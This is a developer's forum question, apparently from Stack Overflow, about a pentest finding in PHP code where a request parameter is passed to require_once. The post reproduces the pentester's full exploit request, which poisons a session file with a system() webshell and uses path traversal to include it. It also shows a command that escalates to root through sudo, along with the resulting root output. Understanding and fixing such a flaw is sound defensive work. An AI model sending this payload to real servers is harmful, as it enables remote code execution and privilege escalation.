I am way out of my depth here. We have just had a pentest done, and we had one critical finding:

```
if (file_exists($includeFile)) { 
    $f_type = filetype($includeFile);
    if ($f_info['extension'] == 'md') {
        $markdown = file_get_contents($includeFile);
        HTMLClass::show($markdown, FALSE, FALSE, FALSE, TRUE);
    } else { 
        require_once($includeFile);
    }
}

```

We can switch on `open_basedir` in PHP as a (possible?) partial fix but I am sure more needs to be done.

I want to fix it, but have no idea how to interpret or reproduce their findings or where to start with fixing. I do not understand the below:

```
Essentially the code above means that sending php[file]=/../../../arbitrary_file as POST payload, the 
application will pick the value from the specified parameter and include it as a file from the file 
system. If it happens to contain PHP code, it will be parsed and executed.

To exploit this behavior, an attacker can attempt to fill his session variable with PHP code. In 
this case it is sufficient to issue a request which causes the session file on the server to be 
filled with the PHP contents of the query string (shown below) that, when included, result in 
arbitrary code being run remotely.

```

Apparently they made the following request:

```
POST /?page=Welcome<?php+echo+123;system($_POST[xxx]);?> HTTP/1.1
Host: my.host.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: https://my.host.com/?page=Welcome
Cookie: PHPSESSID=13371
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

php[file]=/../../../../../../var/lib/php5/sess_13371&xxx=sh -c "sleep 1; echo some-password" | script -qc 'su -c "echo \"some-password\" | sudo -S id" - a-username'

```

Apparently this resulted in:

```
[...]
MB";s:27:"memory_get_peak_usage(TRUE)";s:6:"2.5 MB";}i:4;a:9:{s:2:"id";i:4;s:5:"title";s:58:"$_GET start - Welcome123<br /><b>Notice</b>: Use of undefined constant xxx - assumed 'xxx' in <b>/var/lib/php5/sess_testtesta</b> on line <b>1</b><br />
Password:

[sudo] password for root: uid=0(root) gid=0(root) groups=0(root)";s:9:"backtrace";s:14:"a-file.php
[...]    

```

What is `php[file]` in this context? And how could it be used to do what they say is being done? All I could find with POST and PHP in close proximity in our code was the below, in a JS file.

```
$.post("",{
    php: "some-file.php",
    id: RecID
}

```

Not sure how this relates to one another? Or even if it does?

I hope the above is enough info, as it is all I've got to work with. Note: I did change some sensitive info in the request, but just host names and such, nothing else that could be material (I think).

How can I simulate their test and secure our code?

**Edit**

I am aware that `php[file]` is an array, but is the particular name significant in this case? Or could it be called `foo[bar]` and have the same effect? And how does providing this array in a POST cause this? How do I simulate this POST? I am not getting their output using Postman, perhaps because I am doing it wrong.

**Edit 2**

I got some further feedback from the original developer:

> 
> They first get the current session ID
> 
> 
> 

> 
> They then use the "?page= ..." to add php code to the session file. This is in fact the key. Via the session variable they have the power to write to a file on the disc. A file whose name and location is known, as it contains the session ID.
> 
> 
> 

> 
> And then they put that file into the $\_POST['php'] call, the PHP content therein gets executed (this is of course the main security hole, ODB lets users include and execute any file), including any call to "system".
> 
> 
> 

> 
> Their specific call to "system" executes the contents of $\_POST['xxx'], which they also define in the call - there they use the username and password they had access to.
> 
> 
> 

> 
> If we remove the possibility to include and execute any PHP file, and if we check more carefully what we actually store in the session variable then we should be safe.
> 
> 
> 

> 
> That's also why it has to be sent two times - the content goes to the session file only after the first execution!
> 
> 
>